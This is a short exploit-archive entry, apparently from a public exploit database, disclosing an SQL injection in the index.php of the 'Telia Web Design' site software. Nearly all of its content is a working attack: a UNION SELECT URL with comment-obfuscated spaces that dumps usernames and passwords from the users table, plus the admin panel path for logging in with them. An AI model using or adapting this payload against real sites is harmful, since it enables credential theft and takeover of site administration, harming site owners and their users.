[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Telia Web Design (index.php) SQL Injection Vulnerability
# Published : 2010-05-24
# Author : CoBRa_21
# Previous Title : runt-communications Design (property_more.php) SQL Injec.Vulnerability
# Next Title : PHP Graphy <== 0.9.7 (index.php) Remote Command Execution Vulnerability
-------------------------------------------------------------------------------------------
Telia Web Design (index.php) SQL Injection Vulnerability
-------------------------------------------------------------------------------------------
Author: CoBRa_21
Mail: uyku_cu@windowslive.com
Script Home: http://www.telia.co.gr/
-------------------------------------------------------------------------------------------
Sql Injection:
http://localhost/[path]/index.php?module=content&action=article&id=-80/**/union/**/select/**/group_concat(username,0x3a,password),2/**/from/**/users
Admin Panel
http://localhost/[path]/admin
-------------------------------------------------------------------------------------------